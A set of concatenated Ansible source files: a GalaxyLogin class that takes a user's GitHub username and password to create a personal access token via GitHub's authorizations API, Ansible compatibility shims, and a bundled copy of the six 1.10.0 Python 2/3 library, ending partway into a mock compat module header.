
class GalaxyLogin(object):
    ''' Class to handle authenticating user with Galaxy API prior to performing CUD operations '''

    GITHUB_AUTH = 'https://api.github.com/authorizations'
    
    def __init__(self, galaxy, github_token=None):
        self.galaxy = galaxy
        self.github_username = None
        self.github_password = None
        
        if github_token == None:
            self.get_credentials()

    def get_credentials(self):
        display.display(u'\n\n' + "We need your " + stringc("Github login",'bright cyan') + 
            " to identify you.", screen_only=True)
        display.display("This information will " + stringc("not be sent to Galaxy",'bright cyan') + 
            ", only to " + stringc("api.github.com.","yellow"), screen_only=True)
        display.display("The password will not be displayed." + u'\n\n', screen_only=True)
        display.display("Use " + stringc("--github-token",'yellow') + 
            " if you do not want to enter your password." + u'\n\n', screen_only=True)
        
        try:
            self.github_username = raw_input("Github Username: ")
        except:
            pass

        try:
            self.github_password = getpass.getpass("Password for %s: " % self.github_username)
        except:
            pass

        if not self.github_username or not self.github_password:
            raise AnsibleError("Invalid Github credentials. Username and password are required.")

    def remove_github_token(self):
        '''
        If for some reason an ansible-galaxy token was left from a prior login, remove it. We cannot
        retrieve the token after creation, so we are forced to create a new one.
        '''
        try:
            tokens = json.load(open_url(self.GITHUB_AUTH, url_username=self.github_username,
                url_password=self.github_password, force_basic_auth=True,))
        except HTTPError as e:
            res = json.load(e)
            raise AnsibleError(res['message'])

        for token in tokens:
            if token['note'] == 'ansible-galaxy login':
                display.vvvvv('removing token: %s' % token['token_last_eight'])
                try: 
                    open_url('https://api.github.com/authorizations/%d' % token['id'], url_username=self.github_username,
                        url_password=self.github_password, method='DELETE', force_basic_auth=True,)
                except HTTPError as e:
                    res = json.load(e)
                    raise AnsibleError(res['message'])

    def create_github_token(self):
        '''
        Create a personal authorization token with a note of 'ansible-galaxy login'
        '''
        self.remove_github_token()
        args = json.dumps({"scopes":["public_repo"], "note":"ansible-galaxy login"})
        try:
            data = json.load(open_url(self.GITHUB_AUTH, url_username=self.github_username,
                url_password=self.github_password, force_basic_auth=True, data=args))
        except HTTPError as e:
            res = json.load(e)
            raise AnsibleError(res['message'])
        return data['token']






# (c) 2014, Toshio Kuratomi <tkuratomi@ansible.com>
#
# This file is part of Ansible
#
# Ansible is free software: you can redistribute it and/or modify
# it under the terms of the GNU General Public License as published by
# the Free Software Foundation, either version 3 of the License, or
# (at your option) any later version.
#
# Ansible is distributed in the hope that it will be useful,
# but WITHOUT ANY WARRANTY; without even the implied warranty of
# MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See the
# GNU General Public License for more details.
#
# You should have received a copy of the GNU General Public License
# along with Ansible.  If not, see <http://www.gnu.org/licenses/>.

# Make coding more python3-ish
from __future__ import (absolute_import, division, print_function)
__metaclass__ = type

'''
Compat library for ansible.  This contains compatibility definitions for older python
When we need to import a module differently depending on python version, do it
here.  Then in the code we can simply import from compat in order to get what we want.
'''







"""Utilities for writing code that runs on Python 2 and 3"""

# Copyright (c) 2010-2015 Benjamin Peterson
#
# Permission is hereby granted, free of charge, to any person obtaining a copy
# of this software and associated documentation files (the "Software"), to deal
# in the Software without restriction, including without limitation the rights
# to use, copy, modify, merge, publish, distribute, sublicense, and/or sell
# copies of the Software, and to permit persons to whom the Software is
# furnished to do so, subject to the following conditions:
#
# The above copyright notice and this permission notice shall be included in all
# copies or substantial portions of the Software.
#
# THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR
# IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY,
# FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE
# AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER
# LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM,
# OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE
# SOFTWARE.

from __future__ import absolute_import

import functools
import itertools
import operator
import sys
import types

__author__ = "Benjamin Peterson <benjamin@python.org>"
__version__ = "1.10.0"


# Useful for very coarse version differentiation.
PY2 = sys.version_info[0] == 2
PY3 = sys.version_info[0] == 3
PY34 = sys.version_info[0:2] >= (3, 4)

if PY3:
    string_types = str,
    integer_types = int,
    class_types = type,
    text_type = str
    binary_type = bytes

    MAXSIZE = sys.maxsize
else:
    string_types = basestring,
    integer_types = (int, long)
    class_types = (type, types.ClassType)
    text_type = unicode
    binary_type = str

    if sys.platform.startswith("java"):
        # Jython always uses 32 bits.
        MAXSIZE = int((1 << 31) - 1)
    else:
        # It's possible to have sizeof(long) != sizeof(Py_ssize_t).
        class X(object):

            def __len__(self):
                return 1 << 31
        try:
            len(X())
        except OverflowError:
            # 32-bit
            MAXSIZE = int((1 << 31) - 1)
        else:
            # 64-bit
            MAXSIZE = int((1 << 63) - 1)
        del X


def _add_doc(func, doc):
    """Add documentation to a function."""
    func.__doc__ = doc


def _import_module(name):
    """Import module, returning the module after the last dot."""
    __import__(name)
    return sys.modules[name]


class _LazyDescr(object):

    def __init__(self, name):
        self.name = name

    def __get__(self, obj, tp):
        result = self._resolve()
        setattr(obj, self.name, result)  # Invokes __set__.
        try:
            # This is a bit ugly, but it avoids running this again by
            # removing this descriptor.
            delattr(obj.__class__, self.name)
        except AttributeError:
            pass
        return result


class MovedModule(_LazyDescr):

    def __init__(self, name, old, new=None):
        super(MovedModule, self).__init__(name)
        if PY3:
            if new is None:
                new = name
            self.mod = new
        else:
            self.mod = old

    def _resolve(self):
        return _import_module(self.mod)

    def __getattr__(self, attr):
        _module = self._resolve()
        value = getattr(_module, attr)
        setattr(self, attr, value)
        return value


class _LazyModule(types.ModuleType):

    def __init__(self, name):
        super(_LazyModule, self).__init__(name)
        self.__doc__ = self.__class__.__doc__

    def __dir__(self):
        attrs = ["__doc__", "__name__"]
        attrs += [attr.name for attr in self._moved_attributes]
        return attrs

    # Subclasses should override this
    _moved_attributes = []


class MovedAttribute(_LazyDescr):

    def __init__(self, name, old_mod, new_mod, old_attr=None, new_attr=None):
        super(MovedAttribute, self).__init__(name)
        if PY3:
            if new_mod is None:
                new_mod = name
            self.mod = new_mod
            if new_attr is None:
                if old_attr is None:
                    new_attr = name
                else:
                    new_attr = old_attr
            self.attr = new_attr
        else:
            self.mod = old_mod
            if old_attr is None:
                old_attr = name
            self.attr = old_attr

    def _resolve(self):
        module = _import_module(self.mod)
        return getattr(module, self.attr)


class _SixMetaPathImporter(object):

    """
    A meta path importer to import six.moves and its submodules.

    This class implements a PEP302 finder and loader. It should be compatible
    with Python 2.5 and all existing versions of Python3
    """

    def __init__(self, six_module_name):
        self.name = six_module_name
        self.known_modules = {}

    def _add_module(self, mod, *fullnames):
        for fullname in fullnames:
            self.known_modules[self.name + "." + fullname] = mod

    def _get_module(self, fullname):
        return self.known_modules[self.name + "." + fullname]

    def find_module(self, fullname, path=None):
        if fullname in self.known_modules:
            return self
        return None

    def __get_module(self, fullname):
        try:
            return self.known_modules[fullname]
        except KeyError:
            raise ImportError("This loader does not know module " + fullname)

    def load_module(self, fullname):
        try:
            # in case of a reload
            return sys.modules[fullname]
        except KeyError:
            pass
        mod = self.__get_module(fullname)
        if isinstance(mod, MovedModule):
            mod = mod._resolve()
        else:
            mod.__loader__ = self
        sys.modules[fullname] = mod
        return mod

    def is_package(self, fullname):
        """
        Return true, if the named module is a package.

        We need this method to get correct spec objects with
        Python 3.4 (see PEP451)
        """
        return hasattr(self.__get_module(fullname), "__path__")

    def get_code(self, fullname):
        """Return None

        Required, if is_package is implemented"""
        self.__get_module(fullname)  # eventually raises ImportError
        return None
    get_source = get_code  # same as get_code

_importer = _SixMetaPathImporter(__name__)


class _MovedItems(_LazyModule):

    """Lazy loading of moved objects"""
    __path__ = []  # mark as package


_moved_attributes = [
    MovedAttribute("cStringIO", "cStringIO", "io", "StringIO"),
    MovedAttribute("filter", "itertools", "builtins", "ifilter", "filter"),
    MovedAttribute("filterfalse", "itertools", "itertools", "ifilterfalse", "filterfalse"),
    MovedAttribute("input", "__builtin__", "builtins", "raw_input", "input"),
    MovedAttribute("intern", "__builtin__", "sys"),
    MovedAttribute("map", "itertools", "builtins", "imap", "map"),
    MovedAttribute("getcwd", "os", "os", "getcwdu", "getcwd"),
    MovedAttribute("getcwdb", "os", "os", "getcwd", "getcwdb"),
    MovedAttribute("range", "__builtin__", "builtins", "xrange", "range"),
    MovedAttribute("reload_module", "__builtin__", "importlib" if PY34 else "imp", "reload"),
    MovedAttribute("reduce", "__builtin__", "functools"),
    MovedAttribute("shlex_quote", "pipes", "shlex", "quote"),
    MovedAttribute("StringIO", "StringIO", "io"),
    MovedAttribute("UserDict", "UserDict", "collections"),
    MovedAttribute("UserList", "UserList", "collections"),
    MovedAttribute("UserString", "UserString", "collections"),
    MovedAttribute("xrange", "__builtin__", "builtins", "xrange", "range"),
    MovedAttribute("zip", "itertools", "builtins", "izip", "zip"),
    MovedAttribute("zip_longest", "itertools", "itertools", "izip_longest", "zip_longest"),
    MovedModule("builtins", "__builtin__"),
    MovedModule("configparser", "ConfigParser"),
    MovedModule("copyreg", "copy_reg"),
    MovedModule("dbm_gnu", "gdbm", "dbm.gnu"),
    MovedModule("_dummy_thread", "dummy_thread", "_dummy_thread"),
    MovedModule("http_cookiejar", "cookielib", "http.cookiejar"),
    MovedModule("http_cookies", "Cookie", "http.cookies"),
    MovedModule("html_entities", "htmlentitydefs", "html.entities"),
    MovedModule("html_parser", "HTMLParser", "html.parser"),
    MovedModule("http_client", "httplib", "http.client"),
    MovedModule("email_mime_multipart", "email.MIMEMultipart", "email.mime.multipart"),
    MovedModule("email_mime_nonmultipart", "email.MIMENonMultipart", "email.mime.nonmultipart"),
    MovedModule("email_mime_text", "email.MIMEText", "email.mime.text"),
    MovedModule("email_mime_base", "email.MIMEBase", "email.mime.base"),
    MovedModule("BaseHTTPServer", "BaseHTTPServer", "http.server"),
    MovedModule("CGIHTTPServer", "CGIHTTPServer", "http.server"),
    MovedModule("SimpleHTTPServer", "SimpleHTTPServer", "http.server"),
    MovedModule("cPickle", "cPickle", "pickle"),
    MovedModule("queue", "Queue"),
    MovedModule("reprlib", "repr"),
    MovedModule("socketserver", "SocketServer"),
    MovedModule("_thread", "thread", "_thread"),
    MovedModule("tkinter", "Tkinter"),
    MovedModule("tkinter_dialog", "Dialog", "tkinter.dialog"),
    MovedModule("tkinter_filedialog", "FileDialog", "tkinter.filedialog"),
    MovedModule("tkinter_scrolledtext", "ScrolledText", "tkinter.scrolledtext"),
    MovedModule("tkinter_simpledialog", "SimpleDialog", "tkinter.simpledialog"),
    MovedModule("tkinter_tix", "Tix", "tkinter.tix"),
    MovedModule("tkinter_ttk", "ttk", "tkinter.ttk"),
    MovedModule("tkinter_constants", "Tkconstants", "tkinter.constants"),
    MovedModule("tkinter_dnd", "Tkdnd", "tkinter.dnd"),
    MovedModule("tkinter_colorchooser", "tkColorChooser",
                "tkinter.colorchooser"),
    MovedModule("tkinter_commondialog", "tkCommonDialog",
                "tkinter.commondialog"),
    MovedModule("tkinter_tkfiledialog", "tkFileDialog", "tkinter.filedialog"),
    MovedModule("tkinter_font", "tkFont", "tkinter.font"),
    MovedModule("tkinter_messagebox", "tkMessageBox", "tkinter.messagebox"),
    MovedModule("tkinter_tksimpledialog", "tkSimpleDialog",
                "tkinter.simpledialog"),
    MovedModule("urllib_parse", __name__ + ".moves.urllib_parse", "urllib.parse"),
    MovedModule("urllib_error", __name__ + ".moves.urllib_error", "urllib.error"),
    MovedModule("urllib", __name__ + ".moves.urllib", __name__ + ".moves.urllib"),
    MovedModule("urllib_robotparser", "robotparser", "urllib.robotparser"),
    MovedModule("xmlrpc_client", "xmlrpclib", "xmlrpc.client"),
    MovedModule("xmlrpc_server", "SimpleXMLRPCServer", "xmlrpc.server"),
]
# Add windows specific modules.
if sys.platform == "win32":
    _moved_attributes += [
        MovedModule("winreg", "_winreg"),
    ]

for attr in _moved_attributes:
    setattr(_MovedItems, attr.name, attr)
    if isinstance(attr, MovedModule):
        _importer._add_module(attr, "moves." + attr.name)
del attr

_MovedItems._moved_attributes = _moved_attributes

moves = _MovedItems(__name__ + ".moves")
_importer._add_module(moves, "moves")


class Module_six_moves_urllib_parse(_LazyModule):

    """Lazy loading of moved objects in six.moves.urllib_parse"""


_urllib_parse_moved_attributes = [
    MovedAttribute("ParseResult", "urlparse", "urllib.parse"),
    MovedAttribute("SplitResult", "urlparse", "urllib.parse"),
    MovedAttribute("parse_qs", "urlparse", "urllib.parse"),
    MovedAttribute("parse_qsl", "urlparse", "urllib.parse"),
    MovedAttribute("urldefrag", "urlparse", "urllib.parse"),
    MovedAttribute("urljoin", "urlparse", "urllib.parse"),
    MovedAttribute("urlparse", "urlparse", "urllib.parse"),
    MovedAttribute("urlsplit", "urlparse", "urllib.parse"),
    MovedAttribute("urlunparse", "urlparse", "urllib.parse"),
    MovedAttribute("urlunsplit", "urlparse", "urllib.parse"),
    MovedAttribute("quote", "urllib", "urllib.parse"),
    MovedAttribute("quote_plus", "urllib", "urllib.parse"),
    MovedAttribute("unquote", "urllib", "urllib.parse"),
    MovedAttribute("unquote_plus", "urllib", "urllib.parse"),
    MovedAttribute("urlencode", "urllib", "urllib.parse"),
    MovedAttribute("splitquery", "urllib", "urllib.parse"),
    MovedAttribute("splittag", "urllib", "urllib.parse"),
    MovedAttribute("splituser", "urllib", "urllib.parse"),
    MovedAttribute("uses_fragment", "urlparse", "urllib.parse"),
    MovedAttribute("uses_netloc", "urlparse", "urllib.parse"),
    MovedAttribute("uses_params", "urlparse", "urllib.parse"),
    MovedAttribute("uses_query", "urlparse", "urllib.parse"),
    MovedAttribute("uses_relative", "urlparse", "urllib.parse"),
]
for attr in _urllib_parse_moved_attributes:
    setattr(Module_six_moves_urllib_parse, attr.name, attr)
del attr

Module_six_moves_urllib_parse._moved_attributes = _urllib_parse_moved_attributes

_importer._add_module(Module_six_moves_urllib_parse(__name__ + ".moves.urllib_parse"),
                      "moves.urllib_parse", "moves.urllib.parse")


class Module_six_moves_urllib_error(_LazyModule):

    """Lazy loading of moved objects in six.moves.urllib_error"""


_urllib_error_moved_attributes = [
    MovedAttribute("URLError", "urllib2", "urllib.error"),
    MovedAttribute("HTTPError", "urllib2", "urllib.error"),
    MovedAttribute("ContentTooShortError", "urllib", "urllib.error"),
]
for attr in _urllib_error_moved_attributes:
    setattr(Module_six_moves_urllib_error, attr.name, attr)
del attr

Module_six_moves_urllib_error._moved_attributes = _urllib_error_moved_attributes

_importer._add_module(Module_six_moves_urllib_error(__name__ + ".moves.urllib.error"),
                      "moves.urllib_error", "moves.urllib.error")


class Module_six_moves_urllib_request(_LazyModule):

    """Lazy loading of moved objects in six.moves.urllib_request"""


_urllib_request_moved_attributes = [
    MovedAttribute("urlopen", "urllib2", "urllib.request"),
    MovedAttribute("install_opener", "urllib2", "urllib.request"),
    MovedAttribute("build_opener", "urllib2", "urllib.request"),
    MovedAttribute("pathname2url", "urllib", "urllib.request"),
    MovedAttribute("url2pathname", "urllib", "urllib.request"),
    MovedAttribute("getproxies", "urllib", "urllib.request"),
    MovedAttribute("Request", "urllib2", "urllib.request"),
    MovedAttribute("OpenerDirector", "urllib2", "urllib.request"),
    MovedAttribute("HTTPDefaultErrorHandler", "urllib2", "urllib.request"),
    MovedAttribute("HTTPRedirectHandler", "urllib2", "urllib.request"),
    MovedAttribute("HTTPCookieProcessor", "urllib2", "urllib.request"),
    MovedAttribute("ProxyHandler", "urllib2", "urllib.request"),
    MovedAttribute("BaseHandler", "urllib2", "urllib.request"),
    MovedAttribute("HTTPPasswordMgr", "urllib2", "urllib.request"),
    MovedAttribute("HTTPPasswordMgrWithDefaultRealm", "urllib2", "urllib.request"),
    MovedAttribute("AbstractBasicAuthHandler", "urllib2", "urllib.request"),
    MovedAttribute("HTTPBasicAuthHandler", "urllib2", "urllib.request"),
    MovedAttribute("ProxyBasicAuthHandler", "urllib2", "urllib.request"),
    MovedAttribute("AbstractDigestAuthHandler", "urllib2", "urllib.request"),
    MovedAttribute("HTTPDigestAuthHandler", "urllib2", "urllib.request"),
    MovedAttribute("ProxyDigestAuthHandler", "urllib2", "urllib.request"),
    MovedAttribute("HTTPHandler", "urllib2", "urllib.request"),
    MovedAttribute("HTTPSHandler", "urllib2", "urllib.request"),
    MovedAttribute("FileHandler", "urllib2", "urllib.request"),
    MovedAttribute("FTPHandler", "urllib2", "urllib.request"),
    MovedAttribute("CacheFTPHandler", "urllib2", "urllib.request"),
    MovedAttribute("UnknownHandler", "urllib2", "urllib.request"),
    MovedAttribute("HTTPErrorProcessor", "urllib2", "urllib.request"),
    MovedAttribute("urlretrieve", "urllib", "urllib.request"),
    MovedAttribute("urlcleanup", "urllib", "urllib.request"),
    MovedAttribute("URLopener", "urllib", "urllib.request"),
    MovedAttribute("FancyURLopener", "urllib", "urllib.request"),
    MovedAttribute("proxy_bypass", "urllib", "urllib.request"),
]
for attr in _urllib_request_moved_attributes:
    setattr(Module_six_moves_urllib_request, attr.name, attr)
del attr

Module_six_moves_urllib_request._moved_attributes = _urllib_request_moved_attributes

_importer._add_module(Module_six_moves_urllib_request(__name__ + ".moves.urllib.request"),
                      "moves.urllib_request", "moves.urllib.request")


class Module_six_moves_urllib_response(_LazyModule):

    """Lazy loading of moved objects in six.moves.urllib_response"""


_urllib_response_moved_attributes = [
    MovedAttribute("addbase", "urllib", "urllib.response"),
    MovedAttribute("addclosehook", "urllib", "urllib.response"),
    MovedAttribute("addinfo", "urllib", "urllib.response"),
    MovedAttribute("addinfourl", "urllib", "urllib.response"),
]
for attr in _urllib_response_moved_attributes:
    setattr(Module_six_moves_urllib_response, attr.name, attr)
del attr

Module_six_moves_urllib_response._moved_attributes = _urllib_response_moved_attributes

_importer._add_module(Module_six_moves_urllib_response(__name__ + ".moves.urllib.response"),
                      "moves.urllib_response", "moves.urllib.response")


class Module_six_moves_urllib_robotparser(_LazyModule):

    """Lazy loading of moved objects in six.moves.urllib_robotparser"""


_urllib_robotparser_moved_attributes = [
    MovedAttribute("RobotFileParser", "robotparser", "urllib.robotparser"),
]
for attr in _urllib_robotparser_moved_attributes:
    setattr(Module_six_moves_urllib_robotparser, attr.name, attr)
del attr

Module_six_moves_urllib_robotparser._moved_attributes = _urllib_robotparser_moved_attributes

_importer._add_module(Module_six_moves_urllib_robotparser(__name__ + ".moves.urllib.robotparser"),
                      "moves.urllib_robotparser", "moves.urllib.robotparser")


class Module_six_moves_urllib(types.ModuleType):

    """Create a six.moves.urllib namespace that resembles the Python 3 namespace"""
    __path__ = []  # mark as package
    parse = _importer._get_module("moves.urllib_parse")
    error = _importer._get_module("moves.urllib_error")
    request = _importer._get_module("moves.urllib_request")
    response = _importer._get_module("moves.urllib_response")
    robotparser = _importer._get_module("moves.urllib_robotparser")

    def __dir__(self):
        return ['parse', 'error', 'request', 'response', 'robotparser']

_importer._add_module(Module_six_moves_urllib(__name__ + ".moves.urllib"),
                      "moves.urllib")


def add_move(move):
    """Add an item to six.moves."""
    setattr(_MovedItems, move.name, move)


def remove_move(name):
    """Remove item from six.moves."""
    try:
        delattr(_MovedItems, name)
    except AttributeError:
        try:
            del moves.__dict__[name]
        except KeyError:
            raise AttributeError("no such move, %r" % (name,))


if PY3:
    _meth_func = "__func__"
    _meth_self = "__self__"

    _func_closure = "__closure__"
    _func_code = "__code__"
    _func_defaults = "__defaults__"
    _func_globals = "__globals__"
else:
    _meth_func = "im_func"
    _meth_self = "im_self"

    _func_closure = "func_closure"
    _func_code = "func_code"
    _func_defaults = "func_defaults"
    _func_globals = "func_globals"


try:
    advance_iterator = next
except NameError:
    def advance_iterator(it):
        return it.next()
next = advance_iterator


try:
    callable = callable
except NameError:
    def callable(obj):
        return any("__call__" in klass.__dict__ for klass in type(obj).__mro__)


if PY3:
    def get_unbound_function(unbound):
        return unbound

    create_bound_method = types.MethodType

    def create_unbound_method(func, cls):
        return func

    Iterator = object
else:
    def get_unbound_function(unbound):
        return unbound.im_func

    def create_bound_method(func, obj):
        return types.MethodType(func, obj, obj.__class__)

    def create_unbound_method(func, cls):
        return types.MethodType(func, None, cls)

    class Iterator(object):

        def next(self):
            return type(self).__next__(self)

    callable = callable
_add_doc(get_unbound_function,
         """Get the function out of a possibly unbound function""")


get_method_function = operator.attrgetter(_meth_func)
get_method_self = operator.attrgetter(_meth_self)
get_function_closure = operator.attrgetter(_func_closure)
get_function_code = operator.attrgetter(_func_code)
get_function_defaults = operator.attrgetter(_func_defaults)
get_function_globals = operator.attrgetter(_func_globals)


if PY3:
    def iterkeys(d, **kw):
        return iter(d.keys(**kw))

    def itervalues(d, **kw):
        return iter(d.values(**kw))

    def iteritems(d, **kw):
        return iter(d.items(**kw))

    def iterlists(d, **kw):
        return iter(d.lists(**kw))

    viewkeys = operator.methodcaller("keys")

    viewvalues = operator.methodcaller("values")

    viewitems = operator.methodcaller("items")
else:
    def iterkeys(d, **kw):
        return d.iterkeys(**kw)

    def itervalues(d, **kw):
        return d.itervalues(**kw)

    def iteritems(d, **kw):
        return d.iteritems(**kw)

    def iterlists(d, **kw):
        return d.iterlists(**kw)

    viewkeys = operator.methodcaller("viewkeys")

    viewvalues = operator.methodcaller("viewvalues")

    viewitems = operator.methodcaller("viewitems")

_add_doc(iterkeys, "Return an iterator over the keys of a dictionary.")
_add_doc(itervalues, "Return an iterator over the values of a dictionary.")
_add_doc(iteritems,
         "Return an iterator over the (key, value) pairs of a dictionary.")
_add_doc(iterlists,
         "Return an iterator over the (key, [values]) pairs of a dictionary.")


if PY3:
    def b(s):
        return s.encode("latin-1")

    def u(s):
        return s
    unichr = chr
    import struct
    int2byte = struct.Struct(">B").pack
    del struct
    byte2int = operator.itemgetter(0)
    indexbytes = operator.getitem
    iterbytes = iter
    import io
    StringIO = io.StringIO
    BytesIO = io.BytesIO
    _assertCountEqual = "assertCountEqual"
    if sys.version_info[1] <= 1:
        _assertRaisesRegex = "assertRaisesRegexp"
        _assertRegex = "assertRegexpMatches"
    else:
        _assertRaisesRegex = "assertRaisesRegex"
        _assertRegex = "assertRegex"
else:
    def b(s):
        return s
    # Workaround for standalone backslash

    def u(s):
        return unicode(s.replace(r'\\', r'\\\\'), "unicode_escape")
    unichr = unichr
    int2byte = chr

    def byte2int(bs):
        return ord(bs[0])

    def indexbytes(buf, i):
        return ord(buf[i])
    iterbytes = functools.partial(itertools.imap, ord)
    import StringIO
    StringIO = BytesIO = StringIO.StringIO
    _assertCountEqual = "assertItemsEqual"
    _assertRaisesRegex = "assertRaisesRegexp"
    _assertRegex = "assertRegexpMatches"
_add_doc(b, """Byte literal""")
_add_doc(u, """Text literal""")


def assertCountEqual(self, *args, **kwargs):
    return getattr(self, _assertCountEqual)(*args, **kwargs)


def assertRaisesRegex(self, *args, **kwargs):
    return getattr(self, _assertRaisesRegex)(*args, **kwargs)


def assertRegex(self, *args, **kwargs):
    return getattr(self, _assertRegex)(*args, **kwargs)


if PY3:
    exec_ = getattr(moves.builtins, "exec")

    def reraise(tp, value, tb=None):
        if value is None:
            value = tp()
        if value.__traceback__ is not tb:
            raise value.with_traceback(tb)
        raise value

else:
    def exec_(_code_, _globs_=None, _locs_=None):
        """Execute code in a namespace."""
        if _globs_ is None:
            frame = sys._getframe(1)
            _globs_ = frame.f_globals
            if _locs_ is None:
                _locs_ = frame.f_locals
            del frame
        elif _locs_ is None:
            _locs_ = _globs_
        exec("""exec _code_ in _globs_, _locs_""")

    exec_("""def reraise(tp, value, tb=None):
    raise tp, value, tb
""")


if sys.version_info[:2] == (3, 2):
    exec_("""def raise_from(value, from_value):
    if from_value is None:
        raise value
    raise value from from_value
""")
elif sys.version_info[:2] > (3, 2):
    exec_("""def raise_from(value, from_value):
    raise value from from_value
""")
else:
    def raise_from(value, from_value):
        raise value


print_ = getattr(moves.builtins, "print", None)
if print_ is None:
    def print_(*args, **kwargs):
        """The new-style print function for Python 2.4 and 2.5."""
        fp = kwargs.pop("file", sys.stdout)
        if fp is None:
            return

        def write(data):
            if not isinstance(data, basestring):
                data = str(data)
            # If the file has an encoding, encode unicode with it.
            if (isinstance(fp, file) and
                    isinstance(data, unicode) and
                    fp.encoding is not None):
                errors = getattr(fp, "errors", None)
                if errors is None:
                    errors = "strict"
                data = data.encode(fp.encoding, errors)
            fp.write(data)
        want_unicode = False
        sep = kwargs.pop("sep", None)
        if sep is not None:
            if isinstance(sep, unicode):
                want_unicode = True
            elif not isinstance(sep, str):
                raise TypeError("sep must be None or a string")
        end = kwargs.pop("end", None)
        if end is not None:
            if isinstance(end, unicode):
                want_unicode = True
            elif not isinstance(end, str):
                raise TypeError("end must be None or a string")
        if kwargs:
            raise TypeError("invalid keyword arguments to print()")
        if not want_unicode:
            for arg in args:
                if isinstance(arg, unicode):
                    want_unicode = True
                    break
        if want_unicode:
            newline = unicode("\n")
            space = unicode(" ")
        else:
            newline = "\n"
            space = " "
        if sep is None:
            sep = space
        if end is None:
            end = newline
        for i, arg in enumerate(args):
            if i:
                write(sep)
            write(arg)
        write(end)
if sys.version_info[:2] < (3, 3):
    _print = print_

    def print_(*args, **kwargs):
        fp = kwargs.get("file", sys.stdout)
        flush = kwargs.pop("flush", False)
        _print(*args, **kwargs)
        if flush and fp is not None:
            fp.flush()

_add_doc(reraise, """Reraise an exception.""")

if sys.version_info[0:2] < (3, 4):
    def wraps(wrapped, assigned=functools.WRAPPER_ASSIGNMENTS,
              updated=functools.WRAPPER_UPDATES):
        def wrapper(f):
            f = functools.wraps(wrapped, assigned, updated)(f)
            f.__wrapped__ = wrapped
            return f
        return wrapper
else:
    wraps = functools.wraps


def with_metaclass(meta, *bases):
    """Create a base class with a metaclass."""
    # This requires a bit of explanation: the basic idea is to make a dummy
    # metaclass for one level of class instantiation that replaces itself with
    # the actual metaclass.
    class metaclass(meta):

        def __new__(cls, name, this_bases, d):
            return meta(name, bases, d)
    return type.__new__(metaclass, 'temporary_class', (), {})


def add_metaclass(metaclass):
    """Class decorator for creating a class with a metaclass."""
    def wrapper(cls):
        orig_vars = cls.__dict__.copy()
        slots = orig_vars.get('__slots__')
        if slots is not None:
            if isinstance(slots, str):
                slots = [slots]
            for slots_var in slots:
                orig_vars.pop(slots_var)
        orig_vars.pop('__dict__', None)
        orig_vars.pop('__weakref__', None)
        return metaclass(cls.__name__, cls.__bases__, orig_vars)
    return wrapper


def python_2_unicode_compatible(klass):
    """
    A decorator that defines __unicode__ and __str__ methods under Python 2.
    Under Python 3 it does nothing.

    To support Python 2 and 3 with a single code base, define a __str__ method
    returning text and apply this decorator to the class.
    """
    if PY2:
        if '__str__' not in klass.__dict__:
            raise ValueError("@python_2_unicode_compatible cannot be applied "
                             "to %s because it doesn't define __str__()." %
                             klass.__name__)
        klass.__unicode__ = klass.__str__
        klass.__str__ = lambda self: self.__unicode__().encode('utf-8')
    return klass


# Complete the moves implementation.
# This code is at the end of this module to speed up module loading.
# Turn this module into a package.
__path__ = []  # required for PEP 302 and PEP 451
__package__ = __name__  # see PEP 366 @ReservedAssignment
if globals().get("__spec__") is not None:
    __spec__.submodule_search_locations = []  # PEP 451 @UndefinedVariable
# Remove other six meta path importers, since they cause problems. This can
# happen if six is removed from sys.modules and then reloaded. (Setuptools does
# this for some reason.)
if sys.meta_path:
    for i, importer in enumerate(sys.meta_path):
        # Here's some real nastiness: Another "instance" of the six module might
        # be floating around. Therefore, we can't use isinstance() to check for
        # the six meta path importer, since the other six instance will have
        # inserted an importer with different class.
        if (type(importer).__name__ == "_SixMetaPathImporter" and
                importer.name == __name__):
            del sys.meta_path[i]
            break
    del i, importer
# Finally, add the importer to the meta path import hook.
sys.meta_path.append(_importer)






# (c) 2014, Toshio Kuratomi <tkuratomi@ansible.com>
#
# This file is part of Ansible
#
# Ansible is free software: you can redistribute it and/or modify
# it under the terms of the GNU General Public License as published by
# the Free Software Foundation, either version 3 of the License, or
# (at your option) any later version.
#
# Ansible is distributed in the hope that it will be useful,
# but WITHOUT ANY WARRANTY; without even the implied warranty of
# MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See the
# GNU General Public License for more details.
#
# You should have received a copy of the GNU General Public License
# along with Ansible.  If not, see <http://www.gnu.org/licenses/>.

# Make coding more python3-ish
from __future__ import (absolute_import, division, print_function)
__metaclass__ = type

'''
Compat six library.  RHEL7 has python-six 1.3.0 which is too old
'''
# The following makes it easier for us to script updates of the bundled code
_BUNDLED_METADATA = { "pypi_name": "six", "version": "1.10.0" }

import os.path

try:
    import six as _system_six
except ImportError:
    _system_six = None

if _system_six:
    # If we need some things from even newer versions of six, then we need to
    # use our bundled copy instead

       if ( # Added in six-1.8.0
            not hasattr(_system_six.moves, 'shlex_quote') or
            # Added in six-1.4.0
            not hasattr(_system_six, 'byte2int') or
            not hasattr(_system_six, 'add_metaclass') or
            not hasattr(_system_six.moves, 'urllib')
            ):

        _system_six = False

if _system_six:
    six = _system_six
else:
    from . import _six as six
six_py_file = '{0}.py'.format(os.path.splitext(six.__file__)[0])
exec(open(six_py_file, 'rb').read())






# (c) 2014, Toshio Kuratomi <tkuratomi@ansible.com>
#
# This file is part of Ansible
#
# Ansible is free software: you can redistribute it and/or modify
# it under the terms of the GNU General Public License as published by
# the Free Software Foundation, either version 3 of the License, or
# (at your option) any later version.
#
# Ansible is distributed in the hope that it will be useful,
# but WITHOUT ANY WARRANTY; without even the implied warranty of
# MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See the
# GNU General Public License for more details.
#
# You should have received a copy of the GNU General Public License
# along with Ansible.  If not, see <http://www.gnu.org/licenses/>.

# Make coding more python3-ish
from __future__ import (absolute_import, division, print_function)
__metaclass__ = type

'''
Compat module for Python3.x's unittest.mock module
